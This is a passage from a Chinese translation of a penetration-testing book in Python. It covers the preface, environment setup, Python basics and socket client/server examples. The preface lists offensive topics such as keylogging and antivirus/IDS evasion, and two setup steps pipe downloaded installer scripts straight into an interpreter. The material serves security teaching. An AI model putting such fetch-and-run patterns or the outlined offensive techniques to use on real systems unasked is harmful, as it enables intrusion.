Python-高效渗透测试(全)

Python 高效渗透测试(全)

原文:annas-archive.org/md5/DB873CDD9AEEB99C3C974BBEDB35BB24

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

Python 是一种高级通用语言,具有清晰的语法和全面的标准库。Python 通常被称为脚本语言,在信息安全领域占据主导地位,因为它具有低复杂性、无限的库和第三方模块。安全专家已经确定 Python 是一种用于开发信息安全工具包的语言,例如 w3af。模块化设计、易读的代码和完全开发的库套件使 Python 适合安全研究人员和专家编写脚本并构建安全测试工具。

基于 Python 的工具包括各种类型的模糊测试工具、代理甚至偶尔的漏洞利用。Python 是当前几种开源渗透测试工具的主要语言,从用于内存分析的 Volatility 到用于抽象检查电子邮件过程的 libPST。学习 Python 是一个很好的选择,因为有大量的逆向工程和利用库可供使用。因此,在需要扩展或调整这些工具的困难情况下,学习 Python 可能会对您有所帮助。

在本书中,我们将了解渗透测试人员如何使用这些工具和库来帮助他们的日常工作。

本书内容

第一章,“Python Scripting Essentials”,通过提供 Python 脚本的基本概念、安装第三方库、线程、进程执行、异常处理和渗透测试来打破僵局。

第二章,“Analyzing Network Traffic with Scapy”,介绍了一个数据包操作工具 Scapy,它允许用户嗅探、创建、发送和分析数据包。本章提供了使用 Scapy 进行网络流量调查、解析 DNS 流量、数据包嗅探、数据包注入和被动 OS 指纹识别的见解。这使您能够在网络上创建和发送自定义数据包,并分析各种协议的原始输出。

第三章,“Application Fingerprinting with Python”,讨论了使用 Python 对 Web 应用程序进行指纹识别的基础知识。您将掌握使用 Python 库进行 Web 抓取、收集电子邮件、OS 指纹识别、应用程序指纹识别和信息收集的技术。

第四章,“Attack Scripting with Python”,解决了使用 Python 脚本进行攻击的问题,详细介绍了攻击技术和 OWASP 的顶级漏洞。您将学会编写脚本来利用这些漏洞。

第五章,“Fuzzing and Brute-Forcing”,告诉您模糊测试和暴力破解仍然是测试人员需要解决的主要攻击。本章总结了模糊测试和暴力破解密码、目录和文件位置;暴力破解 ZIP 文件;HTML 表单认证;以及 Sulley 模糊测试框架。这使用户能够使用 Python 扩展模糊测试工具以满足渗透测试的要求。

第六章,“Debugging and Reverse Engineering”,描述了渗透测试人员应该掌握的调试和逆向工程技术。使用 Capstone 和 PyDBG 呈现了调试技术。

第七章,“Crypto, Hash, and Conversion Functions”,总结了 Python 密码工具包,帮助您编写脚本来查找不同类型的密码哈希。

第八章,“Keylogging and Screen Grabbing”,讨论了键盘记录和屏幕截图技术的基础。这些技术是使用 PyHook 呈现的,它可以帮助使用 Python 记录键盘事件和截取屏幕截图。

第九章, 攻击自动化,详细描述了通过 SSH 暴力破解、使用 paramiko 进行 SFTP 自动化、Nmap 自动化、W3af 自动化、Metasploit 集成以及防病毒和 IDS 规避来进行攻击自动化。

第十章, 展望未来,深入了解了一些用 Python 编写的工具,可以用于渗透测试。您可以使用这些工具来提高渗透测试的技能。

你需要什么来读这本书

基本上你需要一台安装了 Python 的计算机。

这本书适合谁

这本书非常适合那些熟悉 Python 或类似语言,并且在基本编程概念上不需要帮助,但想要了解渗透测试的基础知识和渗透测试人员面临的问题。

约定

在本书中,您会发现一些区分不同信息类型的文本样式。以下是这些样式的一些示例及其含义的解释。

文本中的代码单词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 句柄显示如下:“我们可以通过使用include指令包含其他上下文。”

代码块设置如下:

import socket
socket.setdefaulttimeout(3)
newSocket = socket.socket()
newSocket.connect(("localhost",22))

当我们希望引起您对代码块的特定部分的注意时,相关行或项目会以粗体显示:

import socket
socket.setdefaulttimeout(3)
newSocket = socket.socket() newSocket.connect(("localhost",22))

任何命令行输入或输出都以以下方式编写:

$ pip install packagename

Python 交互式终端命令和输出以以下方式编写。

>>> packet=IP(dst='google.com')

新术语重要单词以粗体显示。例如,屏幕上看到的单词,比如菜单或对话框中的单词,会出现在文本中,就像这样:“点击OS X链接”。

注意

警告或重要提示会以这种方式出现。

提示

提示和技巧会以这种方式出现。

第一章:Python 脚本基础知识

Python 仍然是渗透测试(pentesting)和信息安全领域中的主导语言。基于 Python 的工具包括各种工具(用于输入大量随机数据以查找错误和安全漏洞)、代理和甚至利用框架。如果您对渗透测试任务感兴趣,Python 是最好的学习语言,因为它拥有大量的逆向工程和利用库。

多年来,Python 已经接受了许多更新和升级。例如,Python 2 于 2000 年发布,Python 3 于 2008 年发布。不幸的是,Python 3 不向后兼容,因此大部分用 Python 2 编写的程序在 Python 3 中将无法运行。尽管 Python 3 于 2008 年发布,但大多数库和程序仍在使用 Python 2。为了更好地进行渗透测试,测试人员应该能够阅读、编写和重写 Python 脚本。

作为一种脚本语言,安全专家更倾向于使用 Python 作为开发安全工具包的语言。其易读的代码、模块化设计和大量的库为安全专家和研究人员提供了一个起点,可以用它来创建复杂的工具。Python 带有一个庞大的库(标准库),几乎包含了从简单的 I/O 到特定于平台的 API 调用的所有内容。许多默认和用户贡献的库和模块可以帮助我们在渗透测试中构建工具来完成有趣的任务。

在本章中,我们将涵盖以下内容:

  • 在不同操作系统中设置脚本环境

  • 安装第三方 Python 库

  • 使用虚拟环境

  • Python 语言基础知识

设置脚本环境

您的脚本环境基本上是您日常工作中使用的计算机,以及您用来编写和运行 Python 程序的所有工具。最好的学习系统就是您现在正在使用的系统。本节将帮助您在计算机上配置 Python 脚本环境,以便您可以创建和运行自己的程序。

如果您在计算机上使用的是 Mac OS X 或 Linux 安装,可能已经预先安装了 Python 解释器。要查看是否已安装,请打开终端并输入python。您可能会看到类似以下内容:

$ python
Python 2.7.6 (default, Mar 22 2014, 22:59:56) 
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more
information.
>>> 

从前面的输出中,我们可以看到在这个系统中安装了Python 2.7.6。通过在终端中输入python,您启动了交互模式下的 Python 解释器。在这里,您可以尝试使用 Python 命令,您输入的内容将立即运行并显示输出。

您可以使用您喜欢的文本编辑器来编写 Python 程序。如果没有的话,可以尝试安装 Geany 或 Sublime Text,它们非常适合您。这些都是简单的编辑器,提供了编写和运行 Python 程序的简单方式。在 Geany 中,输出显示在单独的终端窗口中,而 Sublime Text 使用嵌入式终端窗口。Sublime Text 是收费的,但它有灵活的试用政策,允许您在没有任何限制的情况下使用编辑器。它是为初学者设计的少数跨平台文本编辑器之一,具有针对专业人士的全套功能。

在 Linux 中设置

Linux 系统的构建方式使用户可以轻松开始 Python 编程。大多数 Linux 发行版已经预装了 Python。例如,最新版本的 Ubuntu 和 Fedora 都预装了 Python 2.7。此外,最新版本的 Redhat Enterprise(RHEL)和 CentOS 都预装了 Python 2.6。不过,您可能还是想要检查一下。

如果未安装 Python,安装 Python 的最简单方法是使用发行版的默认包管理器,如apt-getyum等。通过在终端中输入以下命令来安装 Python:

  • 对于 Debian / Ubuntu Linux / Kali Linux 用户,请使用以下命令:
 $ sudo apt-get install python2

  • 对于 Red Hat / RHEL / CentOS Linux 用户,请使用以下命令:
 $sudo yum install python

要安装 Geany,请利用您的发行版软件包管理器:

  • 对于 Debian / Ubuntu Linux / Kali Linux 用户,请使用以下命令:
 $sudo apt-get install geany geany-common

  • 对于 Red Hat / RHEL / CentOS Linux 用户,请使用以下命令:
 $ sudo yum install geany

在 Mac 中设置

尽管 Macintosh 是学习 Python 的好平台,但实际上使用 Mac 的许多人在计算机上运行某些 Linux 发行版,或者在虚拟 Linux 机器中运行 Python。最新版本的 Mac OS X,Yosemite,预装了 Python 2.7。验证它是否正常工作后,安装 Sublime Text。

要在 Mac 上运行 Python,您必须安装 GCC,可以通过下载 XCode,较小的命令行工具来获得。此外,我们需要安装 Homebrew,一个软件包管理器。

要安装 Homebrew,请打开终端并运行以下命令:

$ ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"

安装 Homebrew 后,您必须将 Homebrew 目录插入到您的PATH环境变量中。您可以通过在您的~/.profile文件中包含以下行来实现:

export PATH=/usr/local/bin:/usr/local/sbin:$PATH

现在我们准备安装 Python 2.7。在终端中运行以下命令,其余的将由命令完成:

$ brew install python

要安装 Sublime Text,请转到 Sublime Text 的下载页面www.sublimetext.com/3,然后单击OS X链接。这将为您的 Mac 获取 Sublime Text 安装程序。

在 Windows 中设置

Windows 上没有预先安装 Python。要检查是否已安装,请打开命令提示符,输入单词python,然后按Enter。在大多数情况下,您将收到一条消息,指出 Windows 不认识python作为命令。

我们必须下载一个安装程序,将 Python 设置为 Windows。然后我们必须安装和配置 Geany 以运行 Python 程序。

转到 Python 的下载页面www.python.org/downloads/windows/,并下载与您的系统兼容的 Python 2.7 安装程序。如果您不知道您的操作系统架构,请下载 32 位安装程序,它将适用于两种架构,但 64 位只适用于 64 位系统。

要安装 Geany,请转到 Geany 的下载页面www.geany.org/Download/Releases,并下载包含描述Full Installer including GTK 2.16的完整安装程序变体。默认情况下,Geany 不知道 Python 在系统中的位置。因此,我们需要手动配置它。

为此,在 Geany 中编写一个Hello world程序,并将其另存为hello.py,然后运行它。

您可以使用三种方法在 Geany 中运行 Python 程序:

  • 选择构建 | 执行

  • 按下F5

  • 点击带有三个齿轮图标的图标

在 Windows 中设置

在 Geany 中运行hello.py程序时,请执行以下步骤:

  1. 转到构建 | 设置构建命令

  2. 然后使用C:\Python27\python -m py_compile "%f"输入 python 命令选项。

  3. 使用C:\Python27\python "%f"执行命令。

  4. 现在您可以在 Geany 中编写代码时运行 Python 程序。

建议将 Kali Linux 发行版作为虚拟机运行,并将其用作脚本编写环境。Kali Linux 预装了许多工具,基于 Debian Linux,因此您还可以安装各种其他工具和库。此外,一些库在 Windows 系统上可能无法正常工作。

安装第三方库

在本书中,我们将使用许多 Python 库,本节将帮助您安装和使用第三方库。

Setuptools 和 pip

最有用的第三方 Python 软件之一是Setuptools。使用 Setuptools,您可以使用单个命令下载和安装任何符合条件的 Python 库。

在任何系统上安装 Setuptools 的最佳方法是从bootstrap.pypa.io/ez_setup.py下载ez_setup.py文件,并使用您的 Python 安装运行此文件。

在 Linux 中,在终端中运行以下命令,正确路径指向ez_setup.py脚本:

$ sudo python path/to/ez_setup.py

对于安装了 PowerShell 3 的 Windows 8 或旧版本的 Windows,以管理员权限启动 PowerShell,并在其中运行以下命令:

> (Invoke-WebRequest https://bootstrap.pypa.io/ez_setup.py).Content | python -

对于未安装 PowerShell 3 的 Windows 系统,请使用 Web 浏览器从上述链接下载ez_setup.py文件,并使用您的 Python 安装运行该文件。

Pip 是一个包管理系统,用于安装和管理用 Python 编写的软件包。成功安装 Setuptools 后,您可以通过简单地打开命令提示符并运行以下命令来安装pip

$ easy_install pip

或者,您还可以使用默认的发行版包管理器安装pip

  • 在 Debian、Ubuntu 和 Kali Linux 上:
 $ sudo apt-get install python-pip

  • 在 Fedora 上:
 $ sudo yum install python-pip

现在您可以从命令行运行pip。尝试使用pip安装一个软件包:

$ pip install packagename

使用虚拟环境

虚拟环境有助于分离不同项目所需的依赖项,通过在虚拟环境中工作,还有助于保持全局 site-packages 目录的清洁。

使用 virtualenv 和 virtualwrapper

Virtualenv是一个 Python 模块,用于为我们的脚本实验创建隔离的 Python 环境,它会创建一个包含所有必要可执行文件和模块的文件夹,用于基本的 Python 项目。

您可以使用以下命令安装virtualenv

 $ sudo pip install virtualenv

要创建一个新的虚拟环境,请创建一个文件夹,并从命令行进入该文件夹:

$ cd your_new_folder 
$ virtualenv name-of-virtual-environment 

这将在当前工作目录中使用提供的名称初始化一个文件夹,其中包含所有 Python 可执行文件和pip库,然后将帮助在您的虚拟环境中安装其他软件包。

您可以通过提供更多参数来选择您选择的 Python 解释器,例如以下命令:

$ virtualenv -p /usr/bin/python2.7 name-of-virtual-environment 

这将创建一个使用 Python 2.7 的虚拟环境。在开始使用此虚拟环境之前,我们必须激活它:

$ source name-of-virtual-environment/bin/activate

使用 virtualenv 和 virtualwrapper

现在,在命令提示符的左侧,将显示活动虚拟环境的名称。在此提示符中使用pip安装的任何软件包都将属于活动虚拟环境,该环境将与所有其他虚拟环境和全局安装隔离开来。

您可以使用以下命令退出当前虚拟环境:

$ deactivate

Virtualenvwrapper提供了一种更好的使用virtualenv的方法。它还将所有虚拟环境组织在一个地方。

要安装,我们可以使用pip,但在安装virtualwrapper之前,让我们确保已安装了virtualenv

Linux 和 OS X 用户可以使用以下方法安装它:

$ pip install virtualenvwrapper

还要将以下三行添加到您的 shell 启动文件,例如.bashrc.profile

export WORKON_HOME=$HOME/.virtualenvs 
export PROJECT_HOME=$HOME/Devel 
source /usr/local/bin/virtualenvwrapper.sh 

这将把您的主目录中的Devel文件夹设置为您的虚拟环境项目的位置。

对于 Windows 用户,我们可以使用另一个软件包:virtualenvwrapper-win。这也可以使用pip安装:

$ pip install virtualenvwrapper-win

使用virtualwrapper创建一个虚拟环境:

$ mkvirtualenv your-project-name

这将在~/Envs中创建一个以提供的名称命名的文件夹。

要激活此环境,我们可以使用workon命令:

$ workon your-project-name

这两个命令可以组合成一个单一的命令,如下所示:

$ mkproject your-project-name

我们可以使用virtualenv中的相同 deactivate 命令来停用虚拟环境。要删除虚拟环境,可以使用以下命令:

$ rmvirtualenv your-project-name

Python 语言基础知识

在本节中,我们将介绍变量、字符串、数据类型、网络和异常处理的概念。对于有经验的程序员,本节将是对您已经了解的 Python 知识的总结。

变量和类型

Python 在变量方面非常出色。变量指向存储在内存位置中的数据。这个内存位置可能包含不同的值,比如整数、实数、布尔值、字符串、列表和字典。

当您给变量设置某个值时,Python 会解释并声明变量。例如,如果我们设置a = 1b = 2

然后我们用以下代码打印这两个变量的和:

print (a+b) 

结果将是3,因为 Python 会判断ab都是数字。

然而,如果我们赋值a = "1"b = "2"。那么输出将是12,因为ab都将被视为字符串。在这里,我们不需要在使用变量之前声明变量或其类型,因为每个变量都是一个对象。type()方法可用于获取变量类型。

字符串

与其他任何编程语言一样,字符串是 Python 中的重要内容之一。它们是不可变的。因此,一旦定义,它们就无法更改。有许多 Python 方法可以修改字符串。它们不会对原始字符串进行任何操作,而是创建一个副本并在修改后返回。字符串可以用单引号、双引号或在多行的情况下,我们可以使用三引号语法进行分隔。我们可以使用\字符来转义字符串中的额外引号。

常用的字符串方法如下:

  • string.count('x'): 这将返回字符串中'x'的出现次数

  • string.find('x'): 这将返回字符串中字符'x'的位置

  • string.lower(): 这将把字符串转换为小写

  • string.upper(): 这将把字符串转换为大写

  • string.replace('a', 'b'): 这将用b替换字符串中的所有a

此外,我们可以使用len()方法获取字符串中字符的数量,包括空格:

#!/usr/bin/python 
a = "Python" 
b = "Python\n" 
c = "Python  " 

print len(a) 
print len(b) 
print len(c) 

您可以在这里阅读更多关于字符串函数的内容:docs.python.org/2/library/string.html

列表

列表允许我们在其中存储多个变量,并提供了一种更好的方法来对 Python 中的对象数组进行排序。它们还有一些方法可以帮助我们操作其中的值:

list = [1,2,3,4,5,6,7,8] 
print (list[1])  

这将打印2,因为 Python 索引从 0 开始。要打印整个列表,请使用以下代码:

list = [1,2,3,4,5,6,7,8]
for x in list:
 print (x)

这将循环遍历所有元素并将它们打印出来。

有用的列表方法如下:

  • .append(value): 这将在列表末尾添加一个元素

  • .count('x'): 这将获取列表中'x'的数量

  • .index('x'): 这将返回列表中'x'的索引

  • .insert('y','x'): 这将在位置'y'插入'x'

  • .pop(): 这将返回最后一个元素并将其从列表中删除

  • .remove('x'): 这将从列表中删除第一个'x'

  • .reverse(): 这将颠倒列表中的元素

  • .sort(): 这将按字母顺序或数字顺序对列表进行排序

字典

Python 字典是一种存储键值对的方法。Python 字典用大括号{}括起来。例如:

dictionary = {'item1': 10, 'item2': 20} 
print(dictionary['item2']) 

这将输出20。我们不能使用相同的键创建多个值。这将覆盖重复键的先前值。字典上的操作是唯一的。字典不支持切片。

我们可以使用 update 方法将两个不同的字典合并为一个。此外,如果存在冲突,update 方法将合并现有元素:

a = {'apples': 1, 'mango': 2, 'orange': 3} 
b = {'orange': 4, 'lemons': 2, 'grapes ': 4} 
a.update(b) 

Print a 

这将返回以下内容:

{'mango': 2, 'apples': 1, 'lemons': 2, 'grapes ': 4, 'orange': 4} 

要从字典中删除元素,我们可以使用del方法:

del a['mango'] 
print a 

这将返回以下内容:

{'apples': 1, 'lemons': 2, 'grapes ': 4, 'orange': 4}

网络

套接字是计算机网络通信的基本组成部分。所有网络通信都通过套接字进行。因此,套接字是任何通信渠道的虚拟端点,这些通信渠道发生在两个应用程序之间,这两个应用程序可能位于同一台计算机上,也可能位于不同的计算机上。

Python 中的 socket 模块为我们提供了一种更好的方式来创建 Python 网络连接。因此,要使用这个模块,我们必须在脚本中导入它:

import socket 
socket.setdefaulttimeout(3) 
newSocket = socket.socket() 
newSocket.connect(("localhost",22)) 
response = newSocket.recv(1024) 
print response 

此脚本将从服务器获取响应标头。我们将在后面的章节中更多地讨论网络。

处理异常

尽管我们编写了语法正确的脚本,但在执行它们时可能会出现一些错误。因此,我们必须正确处理这些错误。在 Python 中处理异常的最简单方法是使用try-except

尝试在 Python 解释器中将一个数字除以零:

>>> 10/0
Traceback (most recent call last):
 File "<stdin>", line 1, in <module>
ZeroDivisionError: integer division or modulo by zero

因此,我们可以使用try-except块重写这个脚本:

try: 
   answer = 10/0 
except ZeroDivisionError, e: 
   answer = e 
print answer 

这将返回错误整数除法或取模为零

提示

下载示例代码

您可以从www.packtpub.com的帐户中下载本书的示例代码文件。如果您在其他地方购买了这本书,可以访问www.packtpub.com/support并注册,文件将直接通过电子邮件发送给您。

您可以按照以下步骤下载代码文件:

  1. 使用您的电子邮件地址和密码登录或注册到我们的网站。

  2. 将鼠标指针悬停在顶部的支持选项卡上。

  3. 单击代码下载和勘误

  4. 搜索框中输入书名。

  5. 选择您要下载代码文件的书籍。

  6. 从下拉菜单中选择您购买此书的地点。

  7. 单击代码下载

您还可以通过单击书的网页上的代码文件按钮来下载代码文件,该网页位于 Packt Publishing 网站上。可以通过在搜索框中输入书名来访问此页面。请注意,您需要登录到您的 Packt 帐户。

下载文件后,请确保使用以下最新版本的软件解压或提取文件夹:

  • WinRAR / 7-Zip for Windows

  • Zipeg / iZip / UnRarX for Mac

  • 7-Zip / PeaZip for Linux

该书的代码包也托管在 GitHub 上,网址为github.com/PacktPublishing/Effective-Python-Penetration-Testing。我们还有其他丰富的图书和视频代码包可供下载,网址为github.com/PacktPublishing/。快去看看吧!

摘要

现在我们已经了解了编码前必须进行的基本安装和配置。此外,我们已经学习了 Python 语言的基础知识,这可能有助于我们在后面的章节中加快脚本编写的速度。在下一章中,我们将讨论使用 Scapy 进行更多的网络流量调查、数据包嗅探和数据包注入。

第二章:使用 Scapy 分析网络流量

流量分析是拦截和分析网络流量以推断通信信息的过程。两个主机之间交换的数据包大小,通信系统的详细信息,通信的时间和持续时间是攻击者的一些有价值的信息。在本章中,我们将学习如何使用 Python 脚本分析网络流量:

  • 网络基础知识

  • 原始套接字编程

  • 使用 Scapy 进行数据包嗅探

  • 使用 Scapy 进行数据包注入

  • 使用 Scapy 解析 DNS 流量

  • 使用 Scapy 进行操作系统指纹识别

套接字模块

网络套接字是一种使用标准 Unix 文件描述符与其他计算机通信的方式,它允许在同一台或不同机器上的两个不同进程之间进行通信。套接字几乎类似于低级文件描述符,因为诸如read()write()之类的命令也可以与套接字一样与文件一起使用。

Python 有两个基本的套接字模块:

  • 套接字:标准的 BSD 套接字 API。

  • SocketServer:一个以服务器为中心的模块,定义了处理同步网络请求的类,简化了网络服务器的开发。

套接字

socket模块几乎包含了构建套接字服务器或客户端所需的一切。在 Python 的情况下,socket返回一个对象,可以对其应用套接字方法。

套接字模块中的方法

套接字模块具有以下类方法:

  • socket.socket(family, type):创建并返回一个新的套接字对象

  • socket.getfqdn(name): 将字符串 IP 地址转换为完全合格的域名

  • socket.gethostbyname(hostname):将主机名解析为 IP 地址

实例方法需要从socket返回的套接字实例。socket模块具有以下实例方法:

  • sock.bind( (address, port) ):将套接字绑定到地址和端口

  • sock.accept(): 返回带有对等地址信息的客户端套接字

  • sock.listen(backlog): 将套接字置于监听状态

  • sock.connect( (address, port) ):将套接字连接到定义的主机和端口

  • sock.recv( bufferLength[, flags] ):从套接字接收数据,最多buflen(要接收的最大字节数)字节

  • sock.recvfrom( bufferLength[, flags] ):从套接字接收数据,最多buflen字节,并返回数据来自的远程主机和端口

  • sock.send( data[, flags] ):通过套接字发送数据

  • sock.sendall( data[, flags] ):通过套接字发送数据,并继续发送数据,直到所有数据都已发送或发生错误

  • sock.close(): 关闭套接字

  • sock.getsockopt( lvl, optname ):获取指定套接字选项的值

  • sock.setsockopt( lvl, optname, val ):设置指定套接字选项的值

创建套接字

可以通过在socket模块中调用类方法socket()来创建套接字。这将返回指定域中的套接字。该方法的参数如下:

  • 地址族:Python 支持三种地址族。

  • AF_INET:用于 IP 版本 4 或 IPv4 互联网寻址。

  • AF_INET6:用于 IPv6 互联网寻址。

  • AF_UNIX:用于UNIX 域套接字UDS)。

  • 套接字类型:通常,套接字类型可以是SOCK_DGRAM用于用户数据报协议UDP)或SOCK_STREAM用于传输控制协议TCP)。SOCK_RAW用于创建原始套接字。

  • 协议:通常保持默认值。默认值为 0。

以下是创建套接字的示例:

import socket #Imported sockets module 
import sys 
try: 
   #Create an AF_INET (IPv4), STREAM socket (TCP) 
   tcp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
except socket.error, e: 
   print 'Error occurred while creating socket. Error code: ' + str(e[0]) + ' , Error message : ' + e[1] 
   sys.exit(); 
print 'Success!' 

连接到服务器并发送数据

创建的套接字可以在服务器端或客户端端使用。

套接字对象的connect()方法用于将客户端连接到主机。这个实例方法接受主机名或一个包含主机名/地址和端口号的元组作为参数。

我们可以重写前面的代码,向服务器发送消息如下:

import socket #Imported sockets module  
import sys  

TCP_IP = '127.0.0.1'  
TCP_PORT = 8090 #Reserve a port  
BUFFER_SIZE = 1024  
MESSAGE_TO_SERVER = "Hello, World!"  

try:  
    #Create an AF_INET (IPv4), STREAM socket (TCP)  
    tcp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
except socket.error, e:  
    print 'Error occurred while creating socket. Error code: ' + str(e[0]) + ' , Error message : ' + e[1] 
    sys.exit();  

tcp_socket.connect((TCP_IP, TCP_PORT))  

try :  
    #Sending message  
    tcp_socket.send(MESSAGE_TO_SERVER)  
except socket.error, e: 
    print 'Error occurred while sending data to server. Error code: ' + str(e[0]) + ' , Error message : ' + e[1] 
    sys.exit()  

print 'Message to the server send successfully' 

接收数据

我们需要一个服务器来接收数据。要在服务器端使用套接字,socket对象的bind()方法将套接字绑定到地址。它以元组作为输入参数,其中包含套接字的地址和用于接收传入请求的端口。listen()方法将套接字放入监听模式,accept()方法等待传入连接。listen()方法接受一个表示最大排队连接数的参数。因此,通过将此参数指定为3,这意味着如果有三个连接正在等待处理,那么第四个连接将被拒绝:

import socket #Imported sockets module 

TCP_IP = '127.0.0.1' 
TCP_PORT = 8090 
BUFFER_SIZE = 1024 #Normally use 1024, to get fast response from the server use small size 

try: 
   #Create an AF_INET (IPv4), STREAM socket (TCP) 
   tcp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
except socket.error, e: 
   print 'Error occurred while creating socket. Error code: ' + str(e[0]) + ' , Error message : ' + e[1] 
   sys.exit(); 

tcp_socket.bind((TCP_IP, TCP_PORT)) 
# Listen for incoming connections  (max queued connections: 2) 
tcp_socket.listen(2) 
print 'Listening..' 

#Waits for incoming connection (blocking call) 
connection, address = tcp_socket.accept() 
print 'Connected with:', address 

方法accept()将返回服务器和客户端之间的活动连接。可以使用recv()方法从连接中读取数据,并使用sendall()进行传输:

data = connection.recv(BUFFER_SIZE) 
print "Message from client:", data 

connection.sendall("Thanks for connecting")  # response for the message from client 
connection.close() 

最好通过将socket_accept放在循环中来保持服务器处于活动状态,如下所示:

#keep server alive  
while True:  
   connection, address = tcp_socket.accept()  
   print 'Client connected:', address  

   data = connection.recv(BUFFER_SIZE)  
   print "Message from client:", data  

   connection.sendall("Thanks for connecting")  #Echo the message from client  

将此保存到server.py并在终端中启动服务器如下:

 $ python  server.py

然后服务器终端可能如下所示:

接收数据

现在我们可以修改客户端脚本以从服务器接收响应:

import socket #Imported sockets module  
import sys  

TCP_IP = '127.0.0.1'  
TCP_PORT = 8090 # Reserve a port  
BUFFER_SIZE = 1024  
MESSAGE_TO_SERVER = "Hello, World!"  

try:  
    #Create an AF_INET (IPv4), STREAM socket (TCP)  
    tcp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
except socket.error,  e:  
    print 'Error occured while creating socket. Error code: ' + str(e[0]) + ' , Error message : ' + e[1] 
    sys.exit();  

tcp_socket.connect((TCP_IP, TCP_PORT))  

try :  
    #Sending message  
    tcp_socket.send(MESSAGE_TO_SERVER)  
except socket.error, e: 
    print 'Error occurred while sending data to server. Error code: ' + str(e[0]) + ' , Error message : ' + e[1] 
    sys.exit() 

print 'Message to the server send successfully'  
data = tcp_socket.recv(BUFFER_SIZE)  
tcp_socket.close() #Close the socket when done  
print "Response from server:", data 

将此保存到client.py并运行。请确保服务器脚本正在运行。客户端终端可能如下所示:

接收数据

处理多个连接

在上一个示例中,我们使用 while 循环来处理不同的客户端;这只能一次与一个客户端交互。为了使服务器与多个客户端交互,我们必须使用多线程。当main程序接受连接时,它会创建一个新线程来处理此连接的通信,然后返回以接受更多连接。

我们可以使用线程模块为服务器接受的每个连接创建线程处理程序。

start_new_thread()接受两个参数:

  • 要运行的函数名称

  • 传递给该函数的参数元组

让我们看看如何使用线程重写前面的示例:

import socket #Imported sockets module  
import sys  
from thread import *  

TCP_IP = '127.0.0.1'  
TCP_PORT = 8090 # Reserve a port  

try:  
    #create an AF_INET (IPv4), STREAM socket (TCP)  
    tcp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
except socket.error, e:  
    print 'Error occured while creating socket. Error code: ' + str(e[0]) + ' , Error message : ' + e[1] 
    sys.exit();  

#Bind socket to host and port  
tcp_socket.bind((TCP_IP, TCP_PORT))  
tcp_socket.listen(10)  
print 'Listening..'  

#Function for handling connections. Used to create threads  
def ClientConnectionHandler(connection):  
    BUFFER_SIZE = 1024  
    #Sending message to client  
    connection.send('Welcome to the server')  

    #infinite loop to keep the thread alive.  
    while True:  
        #Receiving data from client  
        data = connection.recv(BUFFER_SIZE)  
        reply = 'Data received:' + data  
        if not data:  
            break  
        connection.sendall(reply)  

    #Exiting loop  
    connection.close()  

#keep server alive always (infinite loop)  
while True:  
    connection, address = tcp_socket.accept()  
    print 'Client connected:', address  
    start_new_thread(ClientConnectionHandler ,(connection,))  

tcp_socket.close() 

提示

有关套接字模块的更多详细信息,请访问docs.python.org/2.7/library/socket.html

SocketServer

SocketServer是一个有趣的模块,它是用于创建网络服务器的框架。它具有预定义的类,用于使用 TCP、UDP、UNIX 流和 UNIX 数据报处理同步请求。我们还可以使用混合类创建每种类型服务器的分叉和线程版本。在许多情况下,您可以简单地使用现有的服务器类。SocketServer模块中定义的五种不同的服务器类如下:

  • BaseServer: 定义 API,不直接使用

  • TCPServer: 使用 TCP/IP 套接字

  • UDPServer: 使用数据报套接字

  • UnixStreamServer: Unix 域流套接字

  • UnixDatagramServer: Unix 域数据报套接字

要使用此模块构建服务器,我们必须传递要监听的地址(由地址和端口号组成的元组)和一个请求处理程序类。请求处理程序将接收传入的请求并决定采取什么行动。这个类必须有一个方法,覆盖以下任何一个RequestHandler方法;大多数情况下,我们可以简单地覆盖handle()方法。对于每个请求,都会创建此类的新实例:

  • setup(): 在handle()方法之前调用以准备请求处理程序的请求

  • handle(): 解析传入的请求,处理数据并响应请求

  • finish(): 在handle()方法之后调用以清理setup()期间创建的任何内容

使用 SocketServer 模块的简单服务器

以下脚本显示了如何使用SocketServer创建一个简单的回显服务器:

import SocketServer #Imported SocketServer module  

#The RequestHandler class for our server.  
class TCPRequestHandler( SocketServer.StreamRequestHandler ):  
  def handle( self ):  
   self.data = self.request.recv(1024).strip()  
   print "{} wrote:".format(self.client_address[0])  
   print self.data  
   #Sending the same data  
   self.request.sendall(self.data)  

#Create the server, binding to localhost on port 8090  
server = SocketServer.TCPServer( ("", 8090), TCPRequestHandler ) 
#Activate the server; this will keep running untile we interrupt 
server.serve_forever() 

脚本的第一行导入了SocketServer模块:

import SocketServer 

然后我们创建了一个请求处理程序,该处理程序继承了SocketServer.StreamRequestHandler类,并覆盖了handle()方法来处理服务器的请求。handle()方法接收数据,打印它,然后向客户端发送相同的数据:

class TCPRequestHandler( SocketServer.StreamRequestHandler ):  
  def handle( self ):  
   self.data = self.request.recv(1024).strip()  
   print "{} wrote:".format(self.client_address[0])  
   print self.data  
   # sending the same data  
   self.request.sendall(self.data) 

对于服务器的每个请求,都会实例化这个请求处理程序类。这个服务器是使用SocketServer.TCPServer类创建的,我们提供服务器将绑定到的地址和请求处理程序类。它将返回一个TCPServer对象。最后,我们调用serve_forever()方法来启动服务器并处理请求,直到我们发送一个显式的shutdown()请求(键盘中断):

tcp_server = SocketServer.TCPServer( ("", 8090), TCPRequestHandler )  
tcp_server.serve_forever() 

提示

有关 Socket 模块的更多详细信息,请访问xahlee.info/python_doc_2.7.6/library/socketserver.html

原始套接字编程

我们在互联网上发送和接收的所有内容都涉及数据包;我们接收的每个网页和电子邮件都作为一系列数据包发送,我们发送的每个内容都作为一系列数据包离开。数据以一定大小的字节分成数据包。每个数据包携带用于识别其目的地、源和互联网使用的协议的其他细节以及我们数据的一部分的信息。网络数据包分为三部分:

  • 标头:这包含了数据包携带的指令

  • 有效载荷:这是数据包的数据

  • 尾部:这是尾部,通知接收设备数据包的结束

